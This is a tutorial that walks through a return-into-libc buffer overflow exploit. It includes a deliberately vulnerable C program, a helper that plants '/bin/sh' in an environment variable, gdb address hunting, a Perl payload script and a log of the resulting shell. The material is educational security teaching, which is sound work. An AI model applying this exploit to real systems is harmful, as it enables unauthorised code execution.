The scope of this article is to explain how to use the environment variables to successfully exploit a buffer overflow with a return into lib C. This approach has many advantages in particular :
int foo(char *string) { char vuln[25]; strcpy(vuln, string); return 42; } int main(int ac, char **av) { foo(av[1]); return 42; }As you can see there is no place to put the system() argument in this program. The environment will consequently be used to store it.
#include <string.h> #include <stdlib.h> #include <stdio.h> int main(int ac, char **av) { char command[500]; int len; int i; memset (command, '\0', 500); len = strlen(av[1]); //filling with " " which is the equivalent for the return of the \x90 of shellcode for (i = 0; i <= 500 - len; i++) command[i] = ' '; //filling with the command equivalent to the shellcode :) strcat(command, av[1]); setenv("RCL", command, 1); system("/bin/bash"); return 42; }
[lupin@saphyr return-into-libc]$ ./env /bin/sh [lupin@saphyr return-into-libc]$ export declare -x BROWSER="kfmclient openProfile webbrowsing" declare -x COLORTERM="" declare -x DISPLAY=":0" declare -x GTK_RC_FILES="/etc/gtk/gtkrc:/home/lupin/.gtkrc" <-snipe-> declare -x RCL=" /bin/sh" declare -x SECURE_LEVEL="0" <- snipe -> [lupin@saphyr return-into-libc]$One can see the command passed to the program (/bin/sh) is in the environment with a lot of spaces.
Breakpoint 1, 0x08048496 in main () (gdb) p system $1 = {<text variable, no debug info>} 0x40073440 <system> (gdb) x/20x $esp 0xbffff5d0: 0x08049538 0x08049640 0xbffff618 0x400405b0 0xbffff5e0: 0x00000001 0xbffff644 0xbffff64c 0x080482fa 0xbffff5f0: 0x08048500 0x00000000 0xbffff618 0x4004059a 0xbffff600: 0x00000000 0xbffff64c 0x4015b9e0 0x40015638 0xbffff610: 0x00000001 0x08048360 0x00000000 0x08048381 <- snipe -> (gdb) 0xbffff800: 0x72756540 0x4f48006f 0x414e5453 0x733d454d 0xbffff810: 0x79687061 0x43520072 0x20203d4c 0x20202020 0xbffff820: 0x20202020 0x20202020 0x20202020 0x20202020 0xbffff830: 0x20202020 0x20202020 0x20202020 0x20202020 0xbffff840: 0x20202020 0x20202020 0x20202020 0x20202020 ...Let's pick an address in the middle of the \x20.
#making the overflow $over = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; #giving the system() adress to make the return into libc # 0x40073440 -> 40 34 07 40 $retaddr = "\x40\x34\x07\x40"; #giving a dummy return adress to our function $dummy = "FAKE"; #giving the adress of our env variable has arg #0xbffff870 $arg1 = "\x70\xf8\xff\xbf"; #Smash it !!! print $over; #print "BBBB"; print $retaddr; print $dummy; print $arg1;
[lupin@saphyr return-into-libc]$ ./vul `perl exploit.pl` sh-2.05$ ps afx PID TTY STAT TIME COMMAND 9 ? SW 0:00 [kupdated] 8 ? SW 0:00 [bdflush] 7 ? SW 0:00 [kreclaimd] 6 ? SW 0:00 [kswapd] <- snipe -> 2206 pts/1 S 0:00 | \_ /bin/bash 2415 pts/1 S 0:00 | \_ ./env /bin/sh 2416 pts/1 S 0:00 | \_ /bin/bash 2527 pts/1 S 0:00 | \_ ./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@4?@FAKEpøÿ¿ 2528 pts/1 S 0:00 | \_ /bin/sh 2530 pts/1 R 0:00 | \_ ps afx
Et voila :).